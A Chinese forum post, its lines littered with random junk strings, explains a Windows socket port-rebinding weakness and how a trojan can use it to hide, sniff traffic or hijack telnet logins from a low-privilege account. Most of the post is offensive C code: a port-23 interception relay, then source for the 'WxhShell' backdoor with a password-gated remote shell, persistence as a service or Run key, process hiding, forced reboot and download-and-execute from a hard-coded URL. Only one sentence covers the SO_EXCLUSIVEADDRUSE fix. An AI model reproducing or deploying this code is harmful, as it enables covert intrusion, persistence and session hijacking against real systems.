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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @mM'V5_#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {2?o:  
qv|geBW  
  saddr.sin_family = AF_INET; 2OFrv=F  
3]Rb2$p[=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J{c-'Of2yi  
`[x`#irD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iDej{95  
xKIzEN &  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "F%w{bf  
ta\AiHm  
  这意味着什么?意味着可以进行如下的攻击: _/0vmgQ&  
tpp. 9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &x$1hx'  
@KRr$k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .T0w2Dv/  
Stqlp<xy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "i/ l'  
Cw"Y=`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pX3Q@3,$  
8/cD7O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Nb/W+& y  
f,{O%*PUA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h ,;f6  
?h)Z ;,}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v:0.  
o>lk+Q#L @  
  #include W.b?MPy]  
  #include b,U"N-6  
  #include ./nq*4=  
  #include    QV/ o;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WO{V,<;  
  int main() g/Q hI  
  { ]#>;C:L  
  WORD wVersionRequested; 8$</HNu,  
  DWORD ret; Z%_"-ENT  
  WSADATA wsaData; [>l 2E  
  BOOL val; QT X5F5w  
  SOCKADDR_IN saddr; w~EBm=v_>  
  SOCKADDR_IN scaddr; 1"k"<{%  
  int err; y7J2: /@[x  
  SOCKET s; Dj!v+<b  
  SOCKET sc; ;w,+x 7  
  int caddsize; []R`h*#  
  HANDLE mt; Yg_;Eu0'?  
  DWORD tid;   tNf?pV77  
  wVersionRequested = MAKEWORD( 2, 2 ); f S-(Kmh  
  err = WSAStartup( wVersionRequested, &wsaData ); >D20f<w(H  
  if ( err != 0 ) { $|~YXH~O  
  printf("error!WSAStartup failed!\n"); f?)BAah  
  return -1; y>}dKbCN  
  } S !Dq8  
  saddr.sin_family = AF_INET; ,n&@O,XGy  
   D{1k{/cF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z6@W)QX  
&K Ti[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *h59Vaoc  
  saddr.sin_port = htons(23); {=n-S2%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;OjxEXaq  
  { x>MrB  
  printf("error!socket failed!\n"); VB x,q3.  
  return -1; *N5cC#5`=  
  } w7d(|`  
  val = TRUE; ^id9_RU   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *xY}?vSs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SymBb}5  
  { 78'HE(*  
  printf("error!setsockopt failed!\n"); ]ADj 9  
  return -1; i co%_fp  
  } @2H"8KX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )*j>g38?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1u4)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =2;2_u?  
vFuf{ @P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J=QuZwt  
  { 3q +C8_:  
  ret=GetLastError(); }O=QXIF5  
  printf("error!bind failed!\n"); 3Yu1ZuIR  
  return -1; 6:Eu[PE~w  
  } /F#_~9JXG  
  listen(s,2); .9r+LA{  
  while(1) V5 $J  
  { 6 <&jY  
  caddsize = sizeof(scaddr); +n#(QOz  
  //接受连接请求 %Ot2bhK;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IB~`Ht8 b  
  if(sc!=INVALID_SOCKET) uL`6}0  
  { >e F4YZ"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \1k(4MWd  
  if(mt==NULL) v]`}T/n  
  { VU~ R  
  printf("Thread Creat Failed!\n"); @y3u'Y,B  
  break; AawK/tfs  
  }  U~%V;*|4  
  } BK,h$z7#6  
  CloseHandle(mt); T)QZ9a  
  } 0UV5}/2rP  
  closesocket(s); JY$B%R4;]  
  WSACleanup(); rU^?Z  
  return 0; Yc5{M*w  
  }   !Db 0r/_:G  
  DWORD WINAPI ClientThread(LPVOID lpParam) -Fi{[%&u  
  { _oOE MQb  
  SOCKET ss = (SOCKET)lpParam; 9wR-0E )  
  SOCKET sc; vkFfHzR$  
  unsigned char buf[4096]; 6Xu^ cbD  
  SOCKADDR_IN saddr; <>!Y[Xr^  
  long num; 8&q|*/2  
  DWORD val; F_KPhe$  
  DWORD ret; m|tE3 UBNv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g[Tl#X7F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    ;'^5$q  
  saddr.sin_family = AF_INET; WD"3W)!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); irqNnnMGEa  
  saddr.sin_port = htons(23); >G4EiJS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' KX'{Gy  
  { k-o(Q"[ '  
  printf("error!socket failed!\n"); )9(Mt _  
  return -1; q]1HCWde  
  } UkO L7M  
  val = 100; `R}q&|o7<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4';~@IBf  
  { v };r  
  ret = GetLastError(); S4n ~wo  
  return -1; %}t<,ex(yO  
  } -}2'P)Xp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZS\ jbii8  
  { K YSyz)M}  
  ret = GetLastError(); BQ&G7V  
  return -1; u!NY@$Wc  
  } |nfFI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [^iQE  
  { 6\8 lx|w  
  printf("error!socket connect failed!\n"); s)?=4zJ  
  closesocket(sc); J;?#Zt]`L  
  closesocket(ss); <r[5 S5y  
  return -1; 3*N-@;[>b  
  } PS*=MyNa  
  while(1) fn6;  
  { {9yv3[f3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T]&% KQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zF+NS]XK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w Pk\dyP  
  num = recv(ss,buf,4096,0); Equj[yw%@  
  if(num>0) /h)_Q;35S;  
  send(sc,buf,num,0); ]Q?`|a+i  
  else if(num==0) H9d! -9I  
  break; Mq!vu!  
  num = recv(sc,buf,4096,0); :>@6\    
  if(num>0) W u4` 3  
  send(ss,buf,num,0); cba  
  else if(num==0) }N^A (`L  
  break; Idy{(Q  
  } R`)^eqB  
  closesocket(ss); PEKU  
  closesocket(sc); 0?]Y^:  
  return 0 ; $L~?!u&N  
  } B@v\tpR  
jm|x=s3}h  
HnDz4eD  
========================================================== i_ha^mq3  
^/K]id7 2  
下边附上一个代码,,WXhSHELL z#$>f*b  
PL+j;V(<  
========================================================== r2KfZ>tWg"  
g{t)I0xm  
#include "stdafx.h" '}\#bMeObg  
Z *9Qeu-N:  
#include <stdio.h> {8'f>YP  
#include <string.h> C'6 yt  
#include <windows.h> X(sN+7DOV  
#include <winsock2.h> Ec44JD  
#include <winsvc.h> Z6.0X{6nA  
#include <urlmon.h> .?16w`Y  
{FIr|R&  
#pragma comment (lib, "Ws2_32.lib") `k^d)9  
#pragma comment (lib, "urlmon.lib") NJ^H"FLS:  
-r.Qy(}p  
#define MAX_USER   100 // 最大客户端连接数 av}Giz  
#define BUF_SOCK   200 // sock buffer  j|Q*L<J  
#define KEY_BUFF   255 // 输入 buffer @ m' zm:  
{8!\aYI  
#define REBOOT     0   // 重启 W@X/Z8.(  
#define SHUTDOWN   1   // 关机 Y|*a,H"_  
MLu@|Xgh  
#define DEF_PORT   5000 // 监听端口 nnv&~C  
k9V#=,K0  
#define REG_LEN     16   // 注册表键长度 K,ccM[hu|  
#define SVC_LEN     80   // NT服务名长度 =) Aav!  
+3;`4bW  
// 从dll定义API ,KT[ }P7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w=dTa5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l ~b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x#_\b-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s)gUvS\  
*0EB{T1  
// wxhshell配置信息 (%bqeI!ob  
struct WSCFG { )D_\~n/5  
  int ws_port;         // 监听端口 5:oteNc3  
  char ws_passstr[REG_LEN]; // 口令 cph&\ V2jt  
  int ws_autoins;       // 安装标记, 1=yes 0=no +,"O#`sy<  
  char ws_regname[REG_LEN]; // 注册表键名 #@ quuiYq  
  char ws_svcname[REG_LEN]; // 服务名 ws^ 7J/8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i!|OFU6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5<Lal^c D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2 Nr*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m %=] j<A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~>j5z&:&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n86=1G:%  
 ZQY]c  
}; W%6Y?pf)z  
nIckI!U#D  
// default Wxhshell configuration G_5uO58  
struct WSCFG wscfg={DEF_PORT, ;ui=7[ Us  
    "xuhuanlingzhe", rw9m+q  
    1, :1O49g3R  
    "Wxhshell", h(<2{%j  
    "Wxhshell", xcVF0%wVC  
            "WxhShell Service", JB}jt)ol%  
    "Wrsky Windows CmdShell Service", X:0-FCT;\  
    "Please Input Your Password: ", +!@@55I-  
  1, \& KfIh8  
  "http://www.wrsky.com/wxhshell.exe", >[$j(k^  
  "Wxhshell.exe" HVG:q#=C  
    }; E8`AU<  
3 P)N,  
// 消息定义模块 Cyn_UE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @(b;H0r~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q5kf-~Jx+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KtR*/<7IC  
char *msg_ws_ext="\n\rExit."; <i!:{'%  
char *msg_ws_end="\n\rQuit."; KF.d:  
char *msg_ws_boot="\n\rReboot..."; :iKk"r,2P[  
char *msg_ws_poff="\n\rShutdown..."; t'7A-K=k3  
char *msg_ws_down="\n\rSave to "; l-~ o&n  
#9's^}i  
char *msg_ws_err="\n\rErr!"; w1N-`S:  
char *msg_ws_ok="\n\rOK!"; 9i8 ~  
?Dr_WFNjO  
char ExeFile[MAX_PATH]; _e9S"``  
int nUser = 0; +nOa&d\  
HANDLE handles[MAX_USER]; bb@3%r|_<  
int OsIsNt; [k<w'n*  
4ayZ.`aK  
SERVICE_STATUS       serviceStatus; )<>1Q{j@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EN\ uX!  
ML)5nJD  
// 函数声明 x5Z(_hU  
int Install(void); s|q]11r+H  
int Uninstall(void); V1d{E 0lM  
int DownloadFile(char *sURL, SOCKET wsh); %F.^cd"  
int Boot(int flag); I<&(Dg|XQ  
void HideProc(void); JKJ+RkXf3  
int GetOsVer(void); pOmHxFOOK  
int Wxhshell(SOCKET wsl); =Zt7}V  
void TalkWithClient(void *cs); HOY@<'  
int CmdShell(SOCKET sock);  4u.v7r  
int StartFromService(void); '^6jRI,  
int StartWxhshell(LPSTR lpCmdLine); i*3*)ly  
+{7/+Zz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W["c3c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xnp5XhU  
k X1#+X  
// 数据结构和表定义 }Q<c E$c  
SERVICE_TABLE_ENTRY DispatchTable[] = q_G O;-b{  
{ IXJ6w:E  
{wscfg.ws_svcname, NTServiceMain}, 8s@k0T<O  
{NULL, NULL} C"JFN(f  
}; {*lRI  
k2@|fe  
// 自我安装 v;_k*y[VV$  
int Install(void) >'MT]@vez  
{ 0CtPq`!  
  char svExeFile[MAX_PATH]; \-2O&v'}  
  HKEY key; ]?/7iM  
  strcpy(svExeFile,ExeFile); :jP4GCxU|  
K7jz*|2  
// 如果是win9x系统,修改注册表设为自启动 j 56Dt_  
if(!OsIsNt) { Bq# l8u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { exfJm'R?n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )r +o51gp  
  RegCloseKey(key); q'zV9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l` M7a9*U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G*].g['  
  RegCloseKey(key); ,|Xibfw  
  return 0; { d*?O  
    } cCWk^lF],  
  } ~A-1x!YiU  
} M<KWx'uV  
else { aplOo[  
iAd3w6  
// 如果是NT以上系统,安装为系统服务 ^~65M/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9D+B~8[SQ  
if (schSCManager!=0) Rv^ \o  
{ +Vsd%AnN"l  
  SC_HANDLE schService = CreateService w<54mGMOLr  
  ( l^WPv/}?  
  schSCManager, /P}Wp[)u  
  wscfg.ws_svcname, F%s'R 0l  
  wscfg.ws_svcdisp, q<2b,w==  
  SERVICE_ALL_ACCESS, YH .+(tNv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _go1gf7  
  SERVICE_AUTO_START, dK^WZQ  
  SERVICE_ERROR_NORMAL, z}sBx 9;  
  svExeFile, /CT g3Q"KQ  
  NULL, hOTqbd}  
  NULL, 6t0-u~  
  NULL, *(pmFEc  
  NULL, X61p xPa  
  NULL 017(I:V?(:  
  ); =w#sCy  
  if (schService!=0) _1sjsGp>  
  { /#]4lFk:h  
  CloseServiceHandle(schService); x*}*0).  
  CloseServiceHandle(schSCManager); `N,q~@gL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1TIP23:  
  strcat(svExeFile,wscfg.ws_svcname); d#OE) ,`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fb:Z.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^7zXi xp  
  RegCloseKey(key); 54geU?p0  
  return 0; '*XX|\.  
    } g,,'Pdd7Pn  
  } $RJpn]d j  
  CloseServiceHandle(schSCManager); ? 016  
} N%K%0o-  
} s<;kTReA  
MNzWTn@  
return 1; <dAD-2O+  
} Z8yt8O  
/A{/  
// 自我卸载 C2/B1ba  
int Uninstall(void) }vGW lNd#g  
{ %=t8   
  HKEY key; fZ6"DJZ  
1p%75VW  
if(!OsIsNt) { sE Rm+x<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&rS7%  
  RegDeleteValue(key,wscfg.ws_regname); VBe.&b8  
  RegCloseKey(key); &|8R4l C|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )?zlhsu}1;  
  RegDeleteValue(key,wscfg.ws_regname); <Jwx|  
  RegCloseKey(key); rgOc+[X  
  return 0; [fjP.kw;J  
  } kbHfdA  
} JJ=%\j  
} 7B"*< %<  
else { $Z2Y%z6y  
4{Q{>S*h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ivb?B,Lz0  
if (schSCManager!=0) =Co[pt  
{ q0a8=o"|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I\FBf&~  
  if (schService!=0) ]@rt/ eX  
  { :Q@qR((&o  
  if(DeleteService(schService)!=0) { )>X C_ R  
  CloseServiceHandle(schService); r`8>@2sW1  
  CloseServiceHandle(schSCManager); w$2Z7S  
  return 0; ET[vJnReC  
  } 8:=EA3  
  CloseServiceHandle(schService); hfBZ:es+  
  } NUvHY:  
  CloseServiceHandle(schSCManager); *Mg. * N  
} [Jjb<6[o  
} ~s[St0  
/l)|B  
return 1; pm 4"Q!K  
} c%bGVRhE  
(*CGZDg  
// 从指定url下载文件 w.2[Xx~  
int DownloadFile(char *sURL, SOCKET wsh) 9jC>OZ0s  
{ \j$q';9p  
  HRESULT hr; p!wx10b  
char seps[]= "/"; C72!::o  
char *token; EG|fGkv"  
char *file; d77->FX2  
char myURL[MAX_PATH]; '. '}  
char myFILE[MAX_PATH]; 6_.K9;Gd  
eInx\/  
strcpy(myURL,sURL); bx5f\)  
  token=strtok(myURL,seps); 3r[}'ba\  
  while(token!=NULL) H}[kit*9  
  { :nPLQqXGQ  
    file=token; pg4J)<t#  
  token=strtok(NULL,seps); X^!1MpEQ  
  } {#]vvO2~$  
,8vqzI  
GetCurrentDirectory(MAX_PATH,myFILE); S=R}#  
strcat(myFILE, "\\"); qyx  '  
strcat(myFILE, file); E6f{z9y6  
  send(wsh,myFILE,strlen(myFILE),0); u*aFWl]=  
send(wsh,"...",3,0);  >>nt3q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e7cqm*Qi  
  if(hr==S_OK) Gd]!D~[1  
return 0; x^J}]5{0  
else |1@/gqa  
return 1; rz  
b;;C><  
} AusCU~:>  
Xaca=tsO  
// 系统电源模块 =(-oQ<@v  
int Boot(int flag) @/w ($w"  
{ :k"VR,riF  
  HANDLE hToken; j%V95M% $  
  TOKEN_PRIVILEGES tkp; Gh:hfHiG  
r@XH=[:  
  if(OsIsNt) { _eE hIQ9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {);S6F$[3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %~`y82r6  
    tkp.PrivilegeCount = 1; >C1**GQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a IA9rn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Eed5sm$H  
if(flag==REBOOT) { \+STl#3*q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pz/bne;=  
  return 0; X;hV+| Bo  
} )<vU F]e~  
else { ,xJ1\_GI`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ e4Pj`?=K  
  return 0; j> ?0Y  
} ~`<(T)rs  
  } 6;:s N8M+1  
  else { xjplJ'jB  
if(flag==REBOOT) { m-M.F9R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nisW<Q`uB  
  return 0; %p R: .u|  
} :+G1=TuXw~  
else { BfcpB)N&.K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M u>G gQSZ  
  return 0; y7s:Buyc  
} p7\}X.L  
} W 6d[v/+K+  
_9^  
return 1; 3V,$FS]  
} 4}4K6y<q  
h]DS$WZ  
// win9x进程隐藏模块 3%g\)Cs  
void HideProc(void) R43yr+p  
{ ^hpdre"  
aQzu[N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }=+J&cR  
  if ( hKernel != NULL ) ?3x7_=4t@  
  { "-pQL )f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U|Du9_0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tY1M7B^~  
    FreeLibrary(hKernel); rhLm2q  
  } >AbgJ*X.  
@Yv.HhO9  
return; 7({"dW  
} ;{zgp  
O e-FI+7  
// 获取操作系统版本 7B|ddi7Q>  
int GetOsVer(void) OMi_')J  
{ (4hCT*  
  OSVERSIONINFO winfo; W!R}eLf@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,<pk&54.@'  
  GetVersionEx(&winfo); ] BJ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q13bV  
  return 1; fG+/p 0sJ?  
  else |Sne\N>%  
  return 0; -*Voui  
} SnK#YQCDt  
P|>pm]>C  
// 客户端句柄模块 4H<@da}  
int Wxhshell(SOCKET wsl) .ykCmznf*  
{ JDQ7  
  SOCKET wsh; ot"3 3I  
  struct sockaddr_in client; E3):8>R;1  
  DWORD myID; N3_rqRd^  
]dx6E6A,  
  while(nUser<MAX_USER) OwdA6it^f  
{ B.e3IM0  
  int nSize=sizeof(client); 3C+!Y#F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qqmhh_[T  
  if(wsh==INVALID_SOCKET) return 1; u9TiEEof3  
eQiK\iDS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j~|pSu.<  
if(handles[nUser]==0) &2~c,] 9C  
  closesocket(wsh); O?6ph4'  
else 8"fZ>XQ  
  nUser++; tp6-j`7u  
  } <B }4}-}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  !e+^}s  
O}Ipg[h  
  return 0; xnBU)#<]S  
} {0&'XA=j  
S? -6hGA j  
// 关闭 socket )L)jvCw,e  
void CloseIt(SOCKET wsh) W^es"\  
{ 5uVSbo.  
closesocket(wsh); 7K 8tz}  
nUser--; j}uVT2ZE%  
ExitThread(0); *J ]2"~_.  
} i]>)'i  
?)8OC(B8q  
// 客户端请求句柄 yX-h|Cr"  
void TalkWithClient(void *cs) s+EJXox w  
{ H pZD^h?L  
MJ=(rp=YU9  
  SOCKET wsh=(SOCKET)cs; ]M:=\h,t>  
  char pwd[SVC_LEN]; 9S .J%*F7  
  char cmd[KEY_BUFF]; )A@i2I  
char chr[1]; j>OuNeo@4  
int i,j; i`FskEoijq  
4Ou|4WjnL  
  while (nUser < MAX_USER) { ,?'":T1[  
cZ<@1I5QK  
if(wscfg.ws_passstr) { D2060ze  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9r5<A!1#L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @@?P\jv~  
  //ZeroMemory(pwd,KEY_BUFF); L.cGt"{  
      i=0; ~{8X$xs  
  while(i<SVC_LEN) { ,%bG]5  
Yv!r>\#0S  
  // 设置超时 ._6|epJ#  
  fd_set FdRead; UBgheu  
  struct timeval TimeOut; Xy0KZ !  
  FD_ZERO(&FdRead); ZwC\n(_y  
  FD_SET(wsh,&FdRead); $aY*1UVq  
  TimeOut.tv_sec=8; & V*_\  
  TimeOut.tv_usec=0; +d$l1j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ls^| j%$J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K&\3j-8^  
=b{!p|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W=[.. d  
  pwd=chr[0]; /C'dW  
  if(chr[0]==0xd || chr[0]==0xa) { |uT &M`7\{  
  pwd=0; Zx1I&K\Cd  
  break; (_9cL,v  
  } nVO|*Bnf)  
  i++; @CxXkR  
    } e5 "?ol0  
^Hdru]A$2  
  // 如果是非法用户,关闭 socket &fIx2ZM[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fz3QSr7FU  
} iG.qMf.  
na%DF@Rt#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !6yyX}%o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'ot,6@~x>  
qv+8wJ((  
while(1) { Q#,j,h  
"#3p=}]  
  ZeroMemory(cmd,KEY_BUFF); Tej&1'G  
4!I;U>b b  
      // 自动支持客户端 telnet标准   F+lsza  
  j=0; k~ YZT 8  
  while(j<KEY_BUFF) { k=7+JI"J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "1-|ahW  
  cmd[j]=chr[0]; `:4\RcTb/  
  if(chr[0]==0xa || chr[0]==0xd) { NIzxSGk|  
  cmd[j]=0; 3RW3<n  
  break; HxH.=M8S_  
  } m9&MTR D\  
  j++; #VLO6  
    } XW^Sw;[efZ  
]Uy cT3A  
  // 下载文件 kY$vPHZpN  
  if(strstr(cmd,"http://")) { &ND8^lR=Y;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p5`d@y\hj  
  if(DownloadFile(cmd,wsh)) !6d6b@Mv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1z#0CX}Y/H  
  else dV:vM9+x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f<Co&^A  
  } Uc?4!{$X  
  else { JyfWy  
d{gj8  
    switch(cmd[0]) { ~<)CI0=  
  >_<J=8|E  
  // 帮助 OE"r=is  
  case '?': { =VctG>ct|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \0^ZNa?  
    break; f:).wi Ld  
  } v4YY6? 4  
  // 安装 <21@jdu3n,  
  case 'i': { y{`aM(&  
    if(Install()) Wl4T}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c^$+=-G{fd  
    else (I) e-1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E>|xv#:~DV  
    break; }+" N '  
    } ?11\@d  
  // 卸载 gOE3x^X*{  
  case 'r': { CQ(;L{}  
    if(Uninstall()) xIrRFK9[Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8%Wg;:DZx  
    else ;`TSu5/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 E~d  
    break; 3XOf-v:~  
    } 4Y=sTXbFt  
  // 显示 wxhshell 所在路径 l$:.bwXXO  
  case 'p': { h /.^iT  
    char svExeFile[MAX_PATH]; B!#F!Wk"  
    strcpy(svExeFile,"\n\r"); X`,]@c%C`  
      strcat(svExeFile,ExeFile); i;yr=S,a0/  
        send(wsh,svExeFile,strlen(svExeFile),0); ,z*-93H1  
    break; Gz>M`M`[4  
    } ]Q%|69H}B  
  // 重启 syseYt]  
  case 'b': { Yy_o*Ozq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z@_ 9.n]  
    if(Boot(REBOOT)) 6*cY[R|q!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ eQo  
    else { TDMyZ!d  
    closesocket(wsh); WC?}a^ 8  
    ExitThread(0); 'A|OVyH  
    } :EX H8n&|  
    break; N~w4|q!]  
    } Fp`MX>F  
  // 关机 bc".R]  
  case 'd': { @`</Z)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oQkY@)3.w  
